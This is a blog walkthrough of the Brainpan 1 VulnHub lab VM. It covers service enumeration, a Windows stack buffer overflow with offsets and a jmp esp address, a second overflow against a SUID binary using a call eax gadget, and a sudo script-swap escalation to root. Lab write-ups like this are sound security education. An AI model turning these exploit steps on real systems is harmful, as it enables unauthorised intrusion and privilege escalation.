Yes, i probably should be flogged for the Brittany Spears esque tittle. But as it suggests, I, yet again, couldn’t bring myself to finish school work regarding the natural sciences. I’ll get to it, no worries. But in the mean time, here is a little procrastination:

I figured I would pull down one of the older, but harder VM’s from VulnHub. Brainpan 1 by superkojiman, I’ve heard a lot about this one and the sequel Brainpan 2, which I will complete at a later time.

First, I migrate the VM into VMWare Fusion, and then the standard netdiscover. We clearly see the VMWare mac address and is listed as


Lets take a look at the ports this bad boy is running and see if we can grab some banners with [email protected]:/nas/content/live/devsecweekly2/tenable# nmap -sV :


Wow! That’s one crazy response from port 9999, we’ll look at that in a second. But first, lets check out the http server:


Oh, Cool… a veracode report… are we being trolled? Possibly! Lets take a look at the interesting port 9999 with netcat:

[email protected]:/nas/content/live/devsecweekly2/tenable# nc -nv 9999


It’s asking for a password and only allows one entry… Hmm.. Interesting, after trying several login attempts. It becomes clear that this might not be the easy way in. Lets turn our direction to the web server and enumerate it a little more.

I tend to like to use a few multi functioning tools, so for this one in particular I will use Zed Attack Proxy, in case I want to look at requests as well as enumerate directories. I use forced browse with recursion off and the default directory list:


Well that’s interesting! Brainpain.exe looks to be a good find, lets download it and do some analysis.

[email protected]:~# file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

Clearly, this is a windows PE, lets use our highly skilled forensic tool, strings!

[email protected]:~# strings brainpan.exe
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
[________________________ WELCOME TO BRAINPAN _________________________]
[+] initializing winsock...
[!] winsock init failed: %d
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.
w32_sharedptr->size == sizeof(W32_EH_SHARED)
GetAtomNameA (atom, s, sizeof(s)) != 0

Okay! That certainly looks familiar, also, there seems to be some traditionally insecure functions calls, such as printf & strcpy.

Lets throw this in immunity and attempt some fuzzing :


Lets throw something at it on our test box – python -c ‘print “A”*1000’ | nc 9999


It looks like our hunch was right, there is a buffer overflow in this binary, lets do some analysis.

We will do a !mona pc 1000, use that buffer and then a !mona findmsp

We find that EIP is at offset 524, we should be able to deliver a jmp esp instruction as this point and place our shellcode at ESP.

We’ll issue a !mona jmp -r esp and find a decent register

We’re in luck! There is one within the binary itself.

0x311712f3 : jmp esp | {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:Documents and SettingsAdministratorDesktopbrainpan.exe)

We will switch is to the little endian version of xf3x12x17x31

Align our buffer like so, “A” * 524 + “xf3x12x17x31″+”x90″*10+”shellcode”

But first, lets just throw some some nops and “B”‘s at it to see how the stack aligns.
Python -c 'print "A" * 524 + "xf3x12x17x31"+"x90"*10+"B"*20' | nc -nc 9999

Throw a break point on 0x311712f3 and lets see how this works for us:


Our breakpoint is hit! Lets see how the stack lines up after though.


Its looking good for us! Lets insert our shellcode and pwn this thing!

Crafted shellcode :

Enter our payload and connect……….moment of truth…


Seems we now have shell! But, we are a limited user, who can only run commands as root on one file…

python -c ‘import pty;pty.spawn(“/bin/bash”)’ to give us a much prettier shell.

For me, privilege escalation is one of the hardest parts of this process, I’ve not found a better resource than g0tmi1ks guide here :

Also pwnwiki is a great resource :!privesc/linux/

After quite a bit of looking for kernel exploits and enumeration, I found a file that has its SUID bit set to anansi:


It wants some sort of input, lets check it out.
[email protected]:/home/puck$ /usr/local/bin/validate `python -c 'print "A"*1000'`

Looks vulnerable to me. Lets see what its doing, gdb unfortunately is not installed. Lets see the results of [email protected]inpan:/home/puck$ ltrace /usr/local/bin/validate `python -c 'print "A"*1000'`


Looks like a strcpy again, we can see the address where it starting at 0xbfb5b608

Lets go ahead and copy the elf file back to your kali machine:

[email protected]:~/brainpan# nc -lvp 4444 > validate

[email protected]:/usr/local/bin$ nc 4444 < validate

Lets look at this in GDB

[email protected]:~/brainpan# gdb ./validate
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /root/brainpan/validate...done.
(gdb) disassemble
No frame selected.
(gdb) info registers
The program has no registers now.
(gdb) run `python -c 'print "A"*1000'`
Starting program: /root/brainpan/validate `python -c 'print "A"*1000'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax 0xbffff068 -1073745816
ecx 0x0 0
edx 0x3e9 1001
ebx 0x41414141 1094795585
esp 0xbffff0e0 0xbffff0e0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0xbffff068: 'A' ...
(gdb) x/s $ebx

(gdb) x/s $ebp

(gdb) x/s $eip



We can tell that our buffers of "A" (byte value x41) as overwritten the registers that EIP calls, EBX calls, and the buffer of roughly 200 sits in register EAX.

Lets do some msfpattern_create and offset to figure out eaxctly where.

[email protected]:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000

(gdb) r `python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"'`

(gdb) info registers
eax 0xbffff068 -1073745816
ecx 0x0 0
edx 0x3e9 1001
ebx 0x41366441 1094083649
esp 0xbffff0e0 0xbffff0e0
ebp 0x64413764 0x64413764
esi 0x0 0
edi 0x0 0
eip 0x39644138 0x39644138
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eip


Now we put our address into ./pattern_offset like so:

[email protected]:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 39644138
[*] Exact match at offset 116
[email protected]:/usr/share/metasploit-framework/tools#

EIP should be at offset 116 in our buffer. Lets attempt to craft our buffer in a way that we can see whats going on. What it looks like is happening, is that we will need to craft our payload such that our payload is at the beginning of our buffer, and our EIP register is an address to JMP EAX. Lets test this theory.

We will use a buffer of "A" * 116 + "BBBB"+ "C"*500 and see how things behave.

(gdb) r `python -c 'print "A"*116+"BBBB"+"C"*100'`
Starting program: /root/brainpan/validate `python -c 'print "A"*116+"BBBB"+"C"*100'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax 0xbffff368 -1073745048
ecx 0x0 0
edx 0xdd 221
ebx 0x41414141 1094795585
esp 0xbffff3e0 0xbffff3e0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0xbffff368: 'A' , "BBBB", 'C' ...

It looks as though that’s exactly what we are going to need to do. Lets go about finding a call/jmp EAX register.

[email protected]:~/brainpan# objdump -d validate |grep -i eax | grep -E "*(jmp|call)"
08048468: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4)
080484af: ff d0 call *%eax
0804862b: ff d0 call *%eax

Looks like we have two address's that we can use, ill use 080484af.

Ill put that in little endian, just so I can reference it as such here on out.


Linuxexecv cmd = binsh

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
unsigned char buf[] =

Our buffer should be :

nop + "shellcode"to make 116 bytes + "xafx84x04x08" + "C" * 500

After quite a bit of playing around with the payload, I figured out that the nops have to be after the shellcode, for whatever reason. I could research further, but with the following setup the exploit seems to work:

shellcode + nops+ jmp eax addr + C*500


We now are part of the anansi group!

As we know from before, there is a file puck can run as root with no password. Anansi_util. lets do some trickery…

$ echo "#!/bin/sh" > anansi_util
echo "#!/bin/sh" > anansi_util
$ echo "/bin/sh" >> anansi_util
echo "/bin/sh" >> anansi_util
$ cat anansi_util
cat anansi_util
$ sudo ./anansi_util
sudo ./anansi_util
# id
uid=0(root) gid=0(root) groups=0(root)

And that’s the game!